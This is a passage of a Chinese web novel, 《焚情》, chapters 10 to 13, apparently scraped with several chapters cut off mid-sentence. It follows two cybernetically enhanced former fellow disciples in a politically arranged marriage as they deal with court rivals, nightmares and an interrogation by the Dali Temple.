到了兰台门口,正在栓马,听到一墙之隔的院内,两位兰台属官正抽着电子烟,躲懒闲聊。
一个中年男人吐了一口烟,低声细语道:“……看得出来,上面也还很忌惮她啊……虽说她有卖国嫌疑,但是毕竟在北境当了那么多年的总都督,现在北境大军里随便点一个都还是她的信徒。据说三公九卿有一半联名上疏请求上面恕她的罪,上面那位呢,为了安抚那帮老朽才闹出了指婚,可真是煞费苦心。”
李渃元奉行仁政,不杀言官,脾气温和,导致混一点的小官也敢暗戳戳说她是非。
另一个更年轻点的男人说:“据说那个浑身八百个心眼的靖安侯和她师出同门,龃龉颇深。现在将人要了去,也不知道关起门来怎么折腾她。”
说到此处,两人低声笑了一阵。
中年男人道:“在兰台她也过得不痛快,程大夫以前受过她的‘关照’呐,特意让食司给她饭菜里下料,又油又咸。这会儿请全台喝糖水,偏偏就不给她。”
“啧,怎么说也是个正六品官,心眼也真够小的。”
有其他人走动的声响,两人拍了一下彼此说:“嘘,回去了。”
两人收了烟离开,沈逆顿了半晌的脚步继续向前。
看来边烬身处高位刚直不
10. 第 10 章
《焚情》全本免费阅读
灼热的软意在指尖贴了一下,一触即离。
边烬没让紧促的心情浮上脸,平稳地将沈逆的小勺没入口中,安安静静吃完乳酪,宛若刚才意外的接触完全没有发生过。
沈逆看了眼边烬留在她指尖上的痕迹。
很淡的粉,淡得几乎透明。
沈逆纤长的睫毛轻动,也没多说,专注将乳酪一点点填进边烬的唇中。
两人俨然是一对恩爱有加的新婚双妻,还有些腻人的嫌疑。
喂完乳酪,沈逆交代“有汤有菜,趁热吃”后便要走了。
边烬想了想,说:“我送你出去。”
沈逆:“好。”
在一旁收拾糖水罐子的孟初暗想,没想到冰山姐姐这么粘妻子。
两人一前一后走到兰台门口,四下无人,边烬道:
“谢谢,特意跑一趟。”
沈逆将边烬方才耳尖安静发红的模样暂时从脑海中压下,用平稳的腔调说:
“不必客气,你我现在名义上是双妻,自是荣辱与共。”
边烬点了点头,又道:“还有一事需跟你说。之前我要买的防身武器,是想跟你报备,不是要让你出钱。”
“报备?”
“如你所言,我们现在名义上是双妻,包括资产在内的所有东西都该与你共享。花钱之前自然要告知你。”
出乎沈逆的意料,还以为是讨小礼物,没想到竟是真的报备。
想想也是,师姐这种性格,怎会向谁讨礼物。
只是,没情趣又冷冰冰第一名的师姐,对挂名妻子都这么温和驯顺。
无法想象,要是她真的爱上谁,会为对方做到什么地步。
沈逆:“没关系,你收着。我的资产自然也是你的资产。”
边烬:“我回去了。”
两人没说道别的话,沈逆骑上马,慢悠悠地离开兰台。
.
散班时,程辙特意过来跟边烬闲聊,明天她可以休息一日,不用应卯。
边烬在官场摸爬滚打这么些年,程辙不用说明白,她也知道对方是忌惮沈逆,生怕先前胡乱排班被她记恨,这便来讨好了。
边烬道:“不用休息,我还有很多档案没有整理好。”
程辙也没再反驳,一切以边烬的意愿为主,顺便称赞一番,号召整个兰台都该见贤思齐,以边令史为标杆。
边烬半眼没多给,收拾好文书档案便离开了兰台。
日落西山,万家灯火。
靖安侯府内,万姑姑正让几位小家仆快些将防滑地毯铺到侯府大门口。
“万姑姑。”
边烬散班回来,正好遇见她。
“今日的午膳很好吃,谢谢。”
万姑姑怔了一怔,随即明白过来。
“那不是我做的,是侯君亲自下的庖厨。”
这倒是有些出乎边烬的意料,“味道和你做的一模一样。”
万姑姑笑道:“大概是侯君知道,我的手艺最合你胃口吧。”
边烬回寝屋的路上在想,沈逆竟会自己做饭了。
以前在双极楼的时候,烤个红薯都会烤成黑炭,逢年过节成天围着锅,就等着边烬喂她好吃的。
回忆往事时嘴角掠过一抹笑意,边烬自己没有发现。
回寝屋前,边烬先去沐浴。
解开拘束了一整日的官袍,在热汤泉中将自己洗净、擦干,拎起整齐归置在池边的居家长裙。
裙子的面料柔软贴身,贴合肌肤时没有半点不适,穿在身上宛若穿着一层无感的纱。最难得的是材质还很保暖。
她知道这是沈逆为她们新婚特意制作的婚裙。
婚裙有一整套,从居家裙到可穿出门的常服都很好穿。
只是颜色都太过鲜艳,边烬觉得和自己的年龄不是很相配。
想了想,还是穿上了。
要拢腰带时,她看见自己盆骨处有个小小的接插点。
接插点贴合肌肤,安插的位置隐蔽,没有异物感,单是触碰很难发现,这几日边烬都没有注意到。
以前没有这个接插点,应该是沈逆第一次修复时留下的。
边烬也懂一些机械原理,这个位置比较方便修复脊柱。
盆骨,是边烬自己都较少触碰到的地方。
很难不想,她在沈逆手中被一点点修复之时,连她自己都不熟悉的身体细节,已经被沈逆反复琢磨过了。
捏着衣襟的指骨有点泛红,边烬将长裙穿好,套上保暖的斗篷。
套上后发现,斗篷和今日沈逆穿去兰台的是同款不同色。
她是远山青,沈逆是风信紫。
金丝暗纹都是图案一致的连理枝。
若是她俩穿上后走在一起,恐怕谁都会一眼看出她们是双妻。
来到饭厅,本想当面谢过沈逆今天亲自下厨的好意,却不见她踪影。
莫非又不来?
边烬坐下时思索着,明明是师妹亲手做的饭菜,为什么不说呢?
反正她也不会误会师妹还喜欢她了。
万姑姑端上热汤的时候,边烬问:“侯君呢?”
万姑姑心道,今日倒是不叫师妹了。
“侯君回府后就一直在工作室里没出来。”
“不用晚膳吗?要不要送些吃食过去?”
万姑姑道:“哎哟,我们可不敢去。侯君脾气那么好的一个人,只要进了工作室就六亲不认。刚将夫人接回来那阵子,侯君埋头在工作室里为夫人修复,整整五日都没出来。五天就吃了三顿饭,还不让送饭的人说话,说一个字都会被她瞪呢。”
边烬知道自己当初伤得很重,可五日的时长还是让她有点意外。
整整五日都在高强度修复,才吃三顿饭,即便年轻恐怕也很难熬。
“所以后来侯君只要进入工作室,我们连门都不敢敲了。”说到此处,万姑姑眼睛弯了弯,笑着说,“不过夫人可以试试看,侯君定不舍得责备夫人。”
边烬也没什么好反驳,既然已经成亲,总不免被旁人调侃。
边烬道:“修复是非常需要耐心和定力的工作,电路微小而复杂,犹如米上刻字,自然需要慎之又慎,不可被打扰。”
万姑姑连说了几个“好”字,师姐还像在师门时那般护着师妹。
万姑姑本要离去,想到什么又折回来,声音都放低了,神神秘秘道:
“夫人,情意盒内的玩意有需要置换、添加的吗?”
边烬不解,“情意盒?”
见万姑姑笑得不似往常,边烬很快明白了。
所谓情意盒,大概就是洞房那日她不小心打开过,险些瞎了眼的“助兴”的木盒子。
见边烬欲言又止,万姑姑担忧地跪坐到她身边,小声说:
“莫非夫人还未和侯君圆房?”
这种私房话,普通管家是决计问不出口的。
但万姑姑是双极楼的老人,看着她俩一起长大,自然比一般的管家多一分亲近。
边烬实在有点难答。
她和沈逆别说是圆房了,都还未睡到一张床上。
那情意盒边烬都是忍了再忍,才没有直接将它丢出房门。
念及今日沈逆说过“你我现在名义上是双妻,自是荣辱与共”,加之天子指婚,洞房那日都刻意做了一场好戏给丽景门的人交差,还没圆房的事自然不能向外说。
又怕这次没得到满意答案,万姑姑回头再问,边烬只能硬着头皮道:
“自然是圆了。”
万姑姑果然松了一大口气,“那要再给你们添置一些,别不够用了。”
边烬闭了闭眼,深吸一口气,阻止她。
“暂且不用,还未……用完。”
边烬也不知道自己在说什么了。
万姑姑苦口婆心,“春宵一刻最是肝火亢盛,七情焦急,哪能等到都用完了才想着添置呀。我看乞巧楼里又进了一些新花样,专是双妻所用,热销得很,还需预定呢!不若先帮二位夫人排队候着?”
边烬已经从耳尖红到脖子,留下“都可”二字,再也坐不住,借口离开。
大下雪天的,边烬在院中抽了好一会儿的鞭子,才将一些太过香艳的画面从脑海中挥去。
.
侯府北边工作室内。
桌上两侧立着超大电子屏,沈逆面前还浮着一面半透明的投影屏幕。
双手快速敲击键盘,蓝白色的光在她专注的眸中闪烁。
对面暗网的人回复完最后一句话,沈逆确定,对方也不知道骨鞭的下落。
暗网,就连前朝皇帝用过的筷子都能掘地五百尺给扒出来的地界,边烬的骨鞭居然半点消息都没有。
骨鞭是师尊传下来的双极楼圣器,边烬继承后用了十年,一大半的身家都用来打造这把罕世奇作。
以沈逆在暗网网购多年的经验推测,骨鞭的品级为S级武器之首,若要竞拍必定千万起跳。即便价格翻倍,也一定会有无数人趋之若鹜。
这等稀罕物,竟会凭空消失?
和这穷凶极恶的世道不太相符。
沈逆登录私密账号,传信给她的耳目,让耳目去调查骨鞭最后出现的地方。
发出之后,想了想,补充一句:
【重点调查,是否在弦昼国境出现过。】
11. 第 11 章
《焚情》全本免费阅读
夜深不知几更,边烬短暂地醒来了一会儿。
倦意甚浓,有些反常。
浑身都在不知缘由地发痛,更奇怪的是,她还被人抱在怀中。
艰难地撑开一丝眼皮,从床边镜中看到,身后抱着她的是沈逆。
边烬不知沈逆为何会上床,目光下移,却见是自己紧抓着沈逆的胳膊不放。
僵硬的五指缓缓松开,沈逆的腕间留下几道可怖的红痕。
昨夜发生了何事,尚处昏噩中的边烬无力探究,很快又被强烈的困意卷入了昏睡中。
再醒来时天光已亮,先前安抚她的人装作什么事都没发生,重新回到了地上,正背对着她慢慢苏醒。
“早。”
沈逆醒来时,眼下两抹青黑明显,精神有点不济,笑容倒是不减,满不在乎地向她打了个招呼。
边烬想说什么,她已经穿衣起身,出门洗漱去了。
今日朝食时分,倒是难得的两人面对面共食。
沈逆见边烬坐下,问她:“习惯吗?”
边烬眼下浮着一层和沈逆相似的青黑。
“什么?”
“和别人同桌进食,会不会不适?”
边烬安静地吃着盘中鲜脆的时蔬,缓声道:
“你的话,不会。”
沈逆先前身上明显的花香味,换成了边烬熟悉的禅茶气息。
院中树影正好落在桌面上,一侧在沈逆戴着手套的手背上,一侧在边烬的指尖。
像是寻常人家的晨间,流荡着温存小意。
树影绰绰,满桌碎金。
边烬见沈逆早餐时分很反常地穿着宽袖,蜷着手指,手腕也一直没露出来。
结合早间她一言不发离开,到现在也没提昨夜抱她的事,估计是不想说了。
自己的力气心里清楚,是受了重伤,脊柱现在算是勉强能支撑坐卧行走,手上的气力和巅峰时期没法比,但想徒手捏碎木桩不是难事。
昨晚她拉着沈逆不让走,也不知用了几成的力道。
边烬将箸放下,目光落在沈逆的手腕上。
“能让我看看吗?”
沈逆缓缓眨眼。
她这么说,就是知道自己扣人的事儿了。
沈逆没给她看,继续慢悠悠地吃着眼前的食物。
万姑姑也知道边烬有洁癖,所以送来的食物均匀地分置到各自的盘子里。
“不用看,我也是在外打仗多年的人了,还能被你捏一下捏出好歹?没事。”沈逆吃了一口炙牛肉后说,“昨晚梦到什么了?很不安稳的样子。”
“应该是做了噩梦。”边烬回忆着,眉心略紧,“我不太记得了,只觉得很累。”
“梦到什么,完全没印象了?”
边烬集中注意力回想,还是什么都想不起来。
“嗯,只残留了一点恶心感。”
“很多梦是没办法完全记住的。或许和你失忆有关。”
边烬沉默着。
“以前也有类似的情况吗?”
“三日前有过,没这回严重。”
“昨晚你有过载的危险,不过后来……算是压下去了。”
边烬知道沈逆所说的“压下去”是指什么。
被沈逆抱着竟会让她觉得安全,安全到足以从噩梦中挣脱。
边烬也不太明白自己的想法。
“谢谢。”
想法不明白,但该谢的还是要谢。
“若不是你,我该烧坏义体,需要再修理了。”
沈逆在冬日晨光下淡笑。
“师姐和我说谢谢就太客气了。我小时候怕鬼,也是你陪着我我才敢睡。”
沈逆小时候最怕的就是鬼,偏偏师门里还有个极其喜欢说鬼故事的六师兄,最喜欢吓唬她。双极楼建在山中,每到夜里树影摇曳,分明就是鬼影起舞。
沈逆害怕的时候就会跑去找边烬,要她抱着才敢睡。
那时边烬还笑话她,“都这么大了还要师姐抱。”
沈逆却说:“我是来保护你的,有我在鬼不会吃你,才不是我害怕。”
边烬也不拆穿她,将窄窄的床分一半给她,搜肠刮肚地找一些适合孩童听的温馨故事,直哄她睡着了自己才睡去。
当初常被她护在臂弯里的小姑娘,转眼变了模样。
岁月在她身上留下了具体的形状,五官彻底长开,再也与稚气无关,眉眼纤长,优游自若,甚至还沾了些惑心的媚意。
沈逆曾浸入凛冬却不染风霜,暗藏锋芒,进退有度,一双有力的手臂,已经能圈出一方安全的天地。
她真真实实的长大了。
两人都想到了一些尚在双极楼时温馨的往事。
过往的关系,让此刻亲密的身份有种越界的错位感。
边烬不再说话,专心用膳。
沈逆的思绪从记忆中抽离,想起连理模块功能里有一项,叫梦境互通。
民政司发来开通模块功能邀请函的时候,沈逆就去查过,其中梦境互通功能,现在广泛应用在情绪治疗领域。
这个功能能够进入伴侣的梦境中,采用大夫指导的安抚手段,有效缓解失眠以及其他精神问题。
沈逆提议道:“还记得连理模块吗?其中有一项叫梦境互通。简单来说就是允许我进入你的梦境,看看到底是什么样的噩梦在困扰你。我可以帮你驱散恐惧,也能改变梦境意象。不说能不能助你恢复记忆,起码可以缓解噩梦。”
边烬抬眸看她。
沈逆觉得自己的提议还是值得一聊的,边烬或许会再问一些关于连理模块的细节。
没想到,边烬斩钉截铁道:“不用。”
拒绝得非常直接,不容任何余地。
像昨晚那声“别碰我”一样强硬。
沈逆也没有任何异议,反而展示了一个格外迷人的笑容。
“是我唐突了。”
沈逆用完膳离开。
透过饭厅透亮的窗户,边烬看到她驾驶飞艇直飞云霄,在乌云渐密的空中留下一道刺眼的痕迹。
收回目光,边烬闭了闭酸涩的眼。
刚才拒绝得太强硬,有点不识好歹。
可她不太确定沈逆进入到她的梦中,会不会看到那一幕。
即便她很多年都没有做相似的梦,却也怕会有那个万一。
那只是一场荒唐至极的妄念,不可再生的心魔。
不能被发现,尤其是沈逆。
至于一定要尘封的原因,她心里有个模糊的彼方,但那彼方闪烁着足以锁定她灵魂的光,那是她要去的明天。
.
今日是正月初七,人日。
李渃元在宫中宴请群臣。
宫中的丝竹声传到了工部,工部最舒适的一隅,挂上了“城防工程司”的匾额。
原本沈逆也是“群臣”之一,一想到出现在宫宴上,又得和一群老朽虚与委蛇,她便借口城防工程迫在眉睫,偷闲躲静去了。
沈逆来到城防工程司时,曾倾洛跟她报告工程进度,她站在门口的雪树下,没发现司内有两双眼睛注视着她。
“真的没有……”
“说不定挂在另一侧呢。”
一男一女两位年轻的小属官坐在窗边,沈逆还没来之前两人已在打赌,赌沈总监事会不会佩戴人胜。
所谓“人胜”,便是在正月初七人日这一日,百姓们将彩纸剪成人的形状,铺在窗户上或者贴在发髻上,讨个好彩头。
这个习俗也是记录在胶囊所带来的历史资料中。
唐Pro对未来世代的所有风俗都相当狂热,未来世代有的节日一定会过,甚至会过得更加热闹,催生出无数不同的过节方式。
在新世代,“人胜”不仅是铺在窗户上的彩纸,还会用彩帛编成小人的形状,送给心上人。有家室的更会想尽办法让伴侣的人胜精致、出彩。
每年人日,都是一场大型的表白现场。
谁将谁送的人胜挂在腰间,便是在宣告自己属意谁。
成亲的会暗暗炫耀自己的人胜多么精巧,足见伴侣多在意自己。
以人胜攀比,在唐Pro帝国蔚然成风。
而沈逆,无论是她本人还是她神秘的婚事,都是这段时日京圈里最热门的话题。
她的人胜会是什么样的,已经有诸多猜测。
此刻,沈逆蹀躞带上除了金鱼袋和一些随身小物,半点人胜的影子都瞧不见。
一直窥视沈逆的那两人,男官姓梵名知,女官姓崔名凝,都是去年的进士。
梵知用指尖点了点桌面,兴奋道:“看看,我就说她们是假意成亲,根本没有感情。我听说那边烬杀人不眨眼,让她砍人头不在话下,给总监事编人胜么,难。”
他晃着脑袋对崔凝摊开手,“一两银子,谢了。”
崔凝不紧不慢地往他掌心里拍了一两银子,也不见恼,看沈逆进来了,立即从抽屉中拿出一个食盒。
既然这桩婚事是摆设,就别怪她讨点甜头了。
梵知疑惑道:“这是什么?”
崔凝:“反正不是给你的。”
沈逆和曾倾洛从屋外进来,曾倾洛将肩头的雪扫去时,愁眉不展。
“没想到这城防里烂账一堆,越查越乱。”
沈逆:“你猜猜,是你先将帐盘清,还是我先得到研发署的权限?”
曾倾洛:“那肯定还是我先盘好帐。研发署的署长可是鼎鼎大名的永王,她能让小师姐你随意进出研发署?我头给你当凳子坐。”
永王李煽也是个话题颇盛的人物。
李煽的生母是先帝的侍女,及笄之前都没有检测到任何天赋,又因出身低微,一度被先帝冷待。倒是李渃元这个嫡姐对她亲厚,这些年她能潜心读书,进入帝国最高研发署,也多亏李渃元的支持。李渃元登基时更是封她为王,两人姊妹情深。
及笄又过了数年,李煽忽然检测出了机械天赋,还是极其难得的S级天赋,这在李氏皇族中都是件大喜事。
李煽火速登上了研发署署长的位置,如今威望已然是七王之首。
沈逆没见过李煽,据说这人心高气傲油盐不进,李渃元都得让着她。
要说李渃元软弱,可她背后还有难对付的李煽,以及阴毒狠辣的丽景门。
迄今为止,研发署没有给予沈逆权限,定是李煽不松口。
沈逆倒是不着急,研发署她可以慢慢进,反正李渃元肯定比她急。
沈逆正想开口,见曾倾洛的目光越过她肩头,便知身后有人靠近。
两人中止了谈话。沈逆回头,见小女官已经走到跟前,一张小圆脸红扑扑的,将手里精致的食盒捧起,娇声说:
“沈总监事,我多做了一些甜点,吃不下了。你要尝尝吗?我手艺可好了,吃过的可都念念不忘呢。”
崔凝年纪小,长得又秀气,水蜜桃般饱满可爱,声音还糯糯的很好听。
不等沈逆回答,她便将食盒打开了。
食盒中并排躺着六枚晶莹剔透的柿子糕,每一颗都软乎乎圆嘟嘟的,看一眼便会教人口舌生津,十分诱人。
这哪是多做吃不下了,分明是花心思刻意做的。
沈逆目光都没往食盒上去,淡言,“我不吃甜食。”
崔凝一怔,没想到沈逆会当着全司的面直接拒绝,还拒绝得这般直接,不留情面。
崔凝嘴角的笑容就要撑不住,还想再说什么的时候,沈逆进了办公室,冷淡地将门也合上。
崔凝:……
扣起食盒就要走,曾倾洛拦下她说:“哎,别浪费了,给我吧,我爱吃甜。”
崔凝连甜点带食盒一块推到曾倾洛怀里。
“给你给你。”
说完头也不回地离开。
曾倾洛抱着食盒,纳闷,“怎么觉得她不太乐意啊?”
吃一口,呃,甜得有点头晕。
.
兰台,西北角。
自沈逆来过后,兰台的食司给边烬打的饭菜口味都正常了。
沈逆亲自下厨的事也点醒了万姑姑,午间万姑姑特意来了一趟,将亲自做的午膳给边烬送来。
兰台后院有一处清静的小花园,
12. 第 12 章
《焚情》全本免费阅读
边烬驾来的是侯府的马车。
二人先后坐入车厢,厚重的门一闭,寒气和风雨被隔绝在外,带着禅茶香味的暖意将她们缓缓包裹。
沈逆合上伞,插到斜前方的伞架内,顺手从架边上车斗里拿出一个人胜。
沈逆说:“我也为你准备了,只是怕你戴着不方便,就没给你。”
这人胜不是市售的千篇一律的配色,红粉相间,脸是正的,格外可爱。
应该是沈逆亲手编的。
边烬:“没有不方便,现在可以给我。”
沈逆递给她,边烬顺手扣到自己的蹀躞带上。
全程边烬都在默默注视沈逆的手。
车内的灯光是温暖的月光黄,不算特别明亮,依旧能分辨手上的痕迹。
边烬确定了,的确是自己的齿痕。
“回府。”
沈逆一声令下,马头昂起,伴随着低低的嘶鸣,车辙稳稳碾过积雪。
靖安侯府的马车由沈逆亲手改造过,加入了恒温系统,拓展了轮宽,马即便跑出飞艇的速度,车内也只会有一点轻微的震荡,四平八稳。
离开众人视线,她们再次自然地拉开距离。
一人坐在左侧,一人靠右,中间再坐一、两个成年人不成问题。
沈逆优雅地交叠双腿,打开平板准备处理事务时,听见边烬问:
“是我咬的吗?”
沈逆视野正好落在自己的右手食指上。
食指上一道月牙般的咬痕还挺明显。
更别说手背上的淤痕。
沈逆随意道:“你不说我都忘了。”
边烬认真凝视着,灯光落入她的黑瞳中,像点点碎金。
“疼不疼?”
沈逆原本没看她,听到这句话,目光转了回来,下意识落在她双唇上。
想起昨夜的触感。
因为洁癖,师姐总是戴着一层防护的口罩,入口的事物更是千挑万选。
原来她那节欲又幽闭的唇中之舌,也是火热而柔软的。
舔她指骨的事沈逆没说,意外罢了,师姐也不会想知道这等事。
“不会。”沈逆道,“师姐还在养伤,身上没力气,咬人也像小猫一般,不疼不痒的。
边烬那双冷感的桃花眼,在听到沈逆的话时渗入了一些意外的情绪,变圆了一些。
这还是她第一次听人用小猫来形容她。
一直到马车停到侯府前,两人都没再说话。
.
几日后的清晨。
两人都还没醒,一阵急匆匆的脚步声从游廊那头传来。
万姑姑敲门,声音听上去有些焦急。
“侯君,夫人,永王殿下带着大理寺的人不请自来,说要带夫人去例行问话。”
永王,李煽?
沈逆和边烬来到前厅时,厅内站着五六位身穿玄色官服的官差,永王李煽站在他们中间。
“殿下。”
沈逆一声尊称,懒懒散散。
李煽回眸,柳叶眼凌厉地睥睨眼前人,目光在边烬身上停留片刻后,稳稳当当落在沈逆身上。
李煽长相浓艳妆容齐整,官袍加身骄矜森冷,看上去有几分刻薄。
站在她身边的全是大理寺属官。
李煽是研发署的署长,乃六署九卿之一,官阶等同于大理寺卿。
但她一个研发署的署长,与大理寺的属官们一块儿行动,这场面也挺新鲜。
“靖安侯,久仰。”
李煽说着久仰,但语气冷淡,半点不想与之结交的模样。
李煽简单客套了五个字后,便直切主题。
“靖安侯,当初你将人从大理寺狱带走,说好了每十日就要继续审问。第一个审讯日就不见人影,还需大理寺亲自登门,真是好大的排场。仗着军功傍身便肆无忌惮地耍无赖,不合适吧?”
边烬有些意外,她还真不知道此事。
确有其事。不过沈逆当时只是随口敷衍大理寺卿,毕竟她已经和天子私下另有约定。
她是为天子办事,承诺天子另寻办法“巧查”边烬,大理寺那头肯定听到了风声。
看大理寺卿就知道,这批大理寺属官都是多一事不如少一事的酒囊饭袋,能将麻烦抛出去就不错了,不会再上她侯府提人。
没想到李煽特意来出这个头。
沈逆直视着李煽的双眼道:“排场不敢当,殿下误会下官了。下官夫人当初离开大理寺狱,乃是天子亲自下了敕旨放人,她已脱罪。当初下官答应大理寺每十日的协助问询,乃是体恤大理寺查案不易,希望早日侦破燕落百万大军折亡一案,这是出于情分。若是按章办事,下官夫人不是犯人,大理寺若有问题请教,自该登门拜访。助人为乐倒被兴师问罪,传出去只怕会让百官寒心。
“再者,殿下,下官戎马关山,自是为了报效天子,从未贪功,所有封赏都是陛下的厚爱,耍无赖又是从何说起?”
边烬又一次听到沈逆用“夫人”来称呼她。
只不过这次依旧是做戏给外人看。
沈逆这番话说得温吞,乍听之下毫无脾气,却是绵里藏针,让大理寺属官们一个个欲言又止。
当初的确是天子特赦边烬,面上没明说,但彼此心知肚明这事儿天子是转交沈逆暗中查办。
边烬人离开了大理寺狱,到底还是疑犯,由明转暗罢了。
大理寺办案不喜旁人干涉,也的确没有旁人插手的道理。可他们刑罚用了一整套也没能审出一二,很是没脸。又碍于天子开口了,最后只能心不甘情不愿妥协,眼睁睁地看重犯破天荒被带走。
为了讨点颜面回来,大理寺曾与沈逆约定,每十日带边烬回一次大理寺,想起什么便记录下来。百万大军折亡一案他们依旧得追查,于情于法,边烬协助办案都责无旁贷。
十日过去,完全不见边烬人影不说,冒着严寒上门寻人,还被沈逆这张厉害的嘴说得大理寺好似一帮以怨报德的白眼狼。
更可气的是,沈逆句句往天子身上引,他们肚子里都有点火气,却无从回嘴。
李煽看着沈逆,神情复杂。
早就听闻沈逆其人一张皮囊绝美,温润如玉淑性茂质,实则是狐狸披羊皮,面善心黑。
李煽冷笑一声,“靖安侯这张嘴可真是能说会道,死人都能被你说活了。”
沈逆依旧温言:“若是真有起死人肉白骨的活,下官义不容辞。”
大理寺属官们一阵无语。
能不能起死人不知道,这靖安侯是真能气死人。
李煽:“沈逆,你在燕落打仗也是靠这张嘴吗?”
沈逆恭敬道:“殿下谬赞了,殿下这般操劳,不仅要为研发署殚精竭虑,还需操心大理寺的差事,能为殿下解忧一二是下官的荣幸。”
大理寺的属官们都着急。
沈逆嘴毒,永王偏偏还跟她说这些没用的废话,有来有回,不知道的还以为永王乐在其中。
李煽坐到主人位上,提高了声音。
“沈逆,不必在这儿与本王玩这些文字游戏。若边烬清清白白,又何惧审问?今日本王来寻人,你百般借口推三阻四,可是心里有鬼?”
沈逆心中暗嗤。
上回是李褚,这回是李煽。
你们姓李的可真不把自己当外人,一个个蹬鼻子上脸。
沈逆还要说什么,忽然,食指被轻轻勾了一下。
是边烬用指尖将她往回勾。
两人都没戴手套。
边烬居然直接触碰了她,像回到了六年前两人关系尚无隔阂的时候。
那时沈逆是唯一不会让边烬洁癖发作的人。
感受到边烬的体温,沈逆神志微荡,就要脱口而出的暗嘲悉数忘了干净,回眸时,眼神被边烬那双明亮的眼睛捕获。
边烬什么也没说,只一个往回勾这个小动作,就让沈逆明白她要自己暂时不要发难。
年少时,沈逆为维护师门与人冲突,或者鼓脑争头时,边烬也是这样,轻轻将她带回来,护到身后,无声安抚。
边烬目光从沈逆脸庞上移开,转到李煽面庞上时,神色中渗入了冰霜般的冷意。
“不过是例行问话罢了,我随你们去。”
“师姐。”
沈逆侧了侧身,挡在她面前,微声耳语:
“这永王因为我强要她研发署的权限,心里不痛快,以你为借口来找我麻烦。研发署定是研制出了探测记忆模块的新仪器,你随她去,只会沾一身晦气。”
沈逆也意识到刚才自己太护着边烬了,这番话稍加解释,让边烬明白,李煽针对的人是她沈逆,她坚持反击便是理所当然。
边烬道:“双妻荣辱与共,针对你便是针对我。”
沈逆:……
边烬继续道:“我自然不会成为你的污点,让你难做。”
边烬这是要立证自己没有任何怕人查的地方。
她这么说,沈逆倒是没法再劝。
“我跟你一起去。”
李煽见沈逆到了边烬面前犀利尽扫,换作一副体贴的模样,讥诮道:
“靖安侯可真是悠游自在,城防工程司那边竟没有你操心的事,一心陪娘子。”
沈逆转眸看她时,又换上一张冷意森森的表情。
“托殿下的福,工程司那头进展缓慢,的确没有太多需要我操心的事。”
李煽:……
沈逆句句都不将李氏王爷放在眼里,可她说的也是实情。
若是深究,李煽一直将沈逆这个天子亲封的总监事挡在门外,的确是存心妨碍城防进度。
天子若要怪罪,或是城中生乱,李煽难辞其咎。
沈逆行了个礼,跟在边烬身后出门。
李煽眼中燃着星星点点的恼,目光落在沈逆清隽的身形上半晌,沉了沉眼眸,拂袖出了侯府大门。
一行人到了大理寺,进入一间无窗的屋内。
屋内一片枯燥的白,正中摆着一台巨大的金属座椅。
座椅靠背的顶端有一面弧形靠枕,正好能够将人的后脑包裹进去。
沈逆给了边烬
13. 第 13 章
马车在侯府前缓缓停下。
轻微的停顿中,边烬睁开了眼睛,发现自己居然靠在沈逆的肩头不知熟睡了多久。
很快坐了回去。
沈逆笑了笑,“难免的,回头我若疲倦至极,师姐也别让我睡在地上就好。”
边烬唇边有淡淡的笑意,“我何时让你睡在地上了。”
此话不假,边烬以前的确很宠她。
师门还在的时候,沈逆才刚长到边烬的腰间,个子一点点就非要跟着她去陡峭的东极峰寻药材。
山路崎岖,最后累得走不动路,撒个娇,边烬就拿她没办法,背她下山。
再难走的路,沈逆都会在边烬的后背上睡得很安稳。
如今……
自成亲以来,沈逆的确已经在地上睡了十日。
什么话题尴尬聊什么,两人面上的笑容僵了僵,没再继续。
走入府内,沈逆让边烬去休息,今天不宜再操劳,她帮忙向兰台请假。
边烬本想自己请假,这点小事无需师妹操心。
还没开口,沈逆已经给程辙发了通话申请。
沈逆与程辙通话时,不知听到对方说了什么,眼眸微垂向地面,面上笑容不减,但眼里分明多了丝嫌弃。
沈逆望着远处的雪山,边烬望着她。
这些日子的相处,边烬一直觉得沈逆陌生又熟悉。
熟悉是因为即便多年未见,沈逆还是沈逆,是自己亲手捡回了师门,亲自起了名字,也亲手带大的孩子。
她长高了成熟了,皮相变了,可骨子里还是那个人。聪慧狡黠,万事藏心底,冷月般安静。
性子慢归慢,平常眼底无人,可若是谁欺到她面前,她定会百倍奉还。
边烬没意识到自己盯着沈逆看了多久,也多亏程辙那头话多,转移了沈逆的注意力,没有留意到边烬太过赤露的目光。
程辙自然是没有不答应的,满口应承,说边令史本来就有假,之前就让她好好休息,她太惦记着兰台的事务一直没休。这回正好,在府中好好养身子,等回头她好一些了,程辙再带兰台同僚探望。
沈逆婉拒之后挂断,“请好了。”
继而又道:“李煽高傲,她会亲自插手大理寺的事,必定对那台仪器非常有信心。如今士气被挫,丢了个大脸,一时半刻应该不会再来烦你。你安心休养便是。”
说完这句话后便没再多言,转身出府,还得去工程司一趟。
两人又一次分开。
边烬看沈逆毫不留恋离去的背影,想着的确和成亲那晚沈逆说的一致,两人各行各事,互不僭越,没有同行的理由。
回到卧房,头疼的感觉更甚,没法做别的,边烬躺到床上想要睡一会儿。
刚闭眼,士兵惨死的模样又浮现在眼前。
边烬紧闭双目,压抑着难受的心跳,强迫自己快点入睡。
夜间,风萧萧,气温一降再降。
沈逆从工程司回来后也没去找边烬,随意吃了几口晚膳,就一头扎进工作室里。
花了点时间矫正机械臂延迟的问题,之后便继续帮边烬打造全新的机械脊柱。
身为双S机械天赋者,打造一套机械脊柱自然不成问题,沈逆十三岁的时候就能独立完成。
但用在边烬身上的脊柱很难。
难点有二。
一是边烬的玉璧严重受损,想要精准控制机械脊柱,就需要极高的精度和匹配度,不然无法带动义体。现在边烬用的是临时替代品,维持正常的生活没问题,但不能做大动作,不然超导连接器有可能一瞬间崩溃,后果就是机械脊柱损坏,连带着玉璧的破坏程度也会加剧。
二么,自然是因为边烬的特殊天赋。双S级天赋极其罕见,比任何其他天赋都要稀有。百年间能出一位已经非常难得。而战斗天赋又是所有双S级天赋中对玉璧要求最高的。玉璧若是跟不上天赋,那还不如保持纯体。
据说上一个双S级战斗天赋者,就是以纯体的状态打死了鲲鹏级别的凶残异兽。
边烬在装备师尊专门为她量身打造的玉璧后,武力抵达巅峰的那年,更是以一人之力斩杀了应龙级别的异兽。
应龙级别的异兽,是所有异兽中仅次于太虚级的极端恐怖怪物。
至于太虚级异兽,只存在于传说中,谁也没见过。
边烬的强悍,导致能匹配她的玉璧不是一般的能工巧匠能打造的。
越厉害的玉璧,越是能激发她的潜能。
能遇上师尊,可以说是边烬的幸运。
双极楼前任门主,沈逆和边烬的师尊,便是唐Pro帝国上一位双S级机械天赋者。
